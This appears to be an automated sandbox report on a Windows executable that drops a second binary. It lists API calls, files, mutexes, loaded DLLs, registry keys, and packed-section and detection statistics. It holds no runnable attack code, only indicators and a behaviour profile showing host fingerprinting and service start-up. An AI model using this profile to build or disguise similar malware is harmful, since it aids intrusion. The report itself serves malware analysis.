Code function: 9_2_033314C4 RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,

9_2_033314C4

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Code function: 0_2_00428B10 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

0_2_00428B10

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_6C6923D0 CoCreateInstance,GetModuleFileNameA,_sprintf,_sprintf,_sprintf,MultiByteToWideChar,

9_2_6C6923D0

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Code function: 0_2_005390CF __EH_prolog3_catch,FindResourceW,LoadResource,LockResource,GetDesktopWindow,IsWindowEnabled,EnableWindow,EnableWindow,GetActiveWindow,SetActiveWindow,FreeResource,

0_2_005390CF

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_03328A82 StartServiceA,CloseServiceHandle,CloseServiceHandle,Sleep,lstrlen,LocalSize,lstrlen,LocalReAlloc,lstrlen,lstrlen,lstrlen,LocalFree,

9_2_03328A82

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

File created: C:\Program Files (x86)\6fjdie

Jump to behavior

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\long[1].bmp

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:120:WilError_03
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Mutant created: \Sessions\1\BaseNamedObjects\MyProgramMutex
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Mutant created: \Sessions\1\BaseNamedObjects\4246/:/49"7<53

Source: pXm5oVO3Go.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: pXm5oVO3Go.exe	ReversingLabs: Detection: 15%
Source: pXm5oVO3Go.exe	Virustotal: Detection: 17%

Source: DAPIjX8.exe	String found in binary or memory: <!--StartFragment -->
Source: DAPIjX8.exe	String found in binary or memory: <!--StartFragment -->
Source: DAPIjX8.exe	String found in binary or memory: <!--StartFragment -->
Source: DAPIjX8.exe	String found in binary or memory: <!--StartFragment -->
Source: pXm5oVO3Go.exe	String found in binary or memory: AddDllDirectory\/LoadLibraryExAkernel32multi Rh
Source: pXm5oVO3Go.exe	String found in binary or memory: set-addPolicy
Source: pXm5oVO3Go.exe	String found in binary or memory: id-cmc-addExtensions

Source: unknown	Process created: C:\Users\user\Desktop\pXm5oVO3Go.exe "C:\Users\user\Desktop\pXm5oVO3Go.exe"
Source: unknown	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\OpenWith.exe -Embedding
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process created: C:\Program Files (x86)\6fjdie\DAPIjX8.exe "C:\Program Files (x86)\6fjdie\DAPIjX8.exe"
Source: unknown	Process created: C:\Program Files (x86)\6fjdie\DAPIjX8.exe "C:\Program Files (x86)\6fjdie\DAPIjX8.exe"
Source: unknown	Process created: C:\Program Files (x86)\6fjdie\DAPIjX8.exe "C:\Program Files (x86)\6fjdie\DAPIjX8.exe"
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Process created: C:\Program Files (x86)\6fjdie\DAPIjX8.exe "C:\Program Files (x86)\6fjdie\DAPIjX8.exe"	Jump to behavior

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinui.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.appdefaults.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: tiledatarepository.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: staterepository.core.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepository.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: thumbcache.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: directmanipulation.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: libcef.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: libcef.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: libcef.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Section loaded: sspicli.dll	Jump to behavior

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{a07034fd-6caa-4954-ac3f-97a27216f98a}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\16.0\Access\Capabilities\UrlAssociations

Jump to behavior

Source: pXm5oVO3Go.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: pXm5oVO3Go.exe

Static file information: File size 3656704 > 1048576

Source: pXm5oVO3Go.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x282200

Source: pXm5oVO3Go.exe

Static PE information: More than 200 imports for USER32.dll

Source: pXm5oVO3Go.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: pXm5oVO3Go.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: pXm5oVO3Go.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: pXm5oVO3Go.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: pXm5oVO3Go.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: pXm5oVO3Go.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: pXm5oVO3Go.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\_work\1\s\\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: VCRUNTIME140.dll.0.dr
Source:	Binary string: \NewJumpLogin\ReleaseSW300exe\JumpLogin.pdb source: pXm5oVO3Go.exe
Source:	Binary string: d:\a01\_work\2\s\\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSVCP140.dll.0.dr

Source: pXm5oVO3Go.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: pXm5oVO3Go.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: pXm5oVO3Go.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: pXm5oVO3Go.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: pXm5oVO3Go.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Code function: 0_2_006554E8 LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_006554E8

Source: initial sample

Static PE information: section where entry point is pointing to: .ubx1

Source: DAPIjX8.exe.0.dr	Static PE information: section name: .00cfg
Source: DAPIjX8.exe.0.dr	Static PE information: section name: .ubx0
Source: DAPIjX8.exe.0.dr	Static PE information: section name: .ubx1

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_00641B27 push ecx; ret	0_2_00641B3A
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_00641D65 push ecx; ret	0_2_00641D78
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_036542DA push ecx; ret	0_2_036542ED
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_0364F4D9 push ecx; ret	0_2_0364F4EC
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_100142D6 push ecx; ret	0_2_100142E9
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_1000F4D5 push ecx; ret	0_2_1000F4E8
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6B7865 push ecx; ret	9_2_6C6B7878
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6D73A8 push ecx; ret	9_2_6C6D7398
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6D7399 push ecx; ret	9_2_6C6D7398
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03337616 push ecx; ret	9_2_03337629
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03337B2A push ecx; ret	9_2_03337B3D
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100395F2 push ecx; ret	9_2_10039605
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10039B06 push ecx; ret	9_2_10039B19
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6B7865 push ecx; ret	10_2_6C6B7878
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6D73A8 push ecx; ret	10_2_6C6D7398
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6D7399 push ecx; ret	10_2_6C6D7398

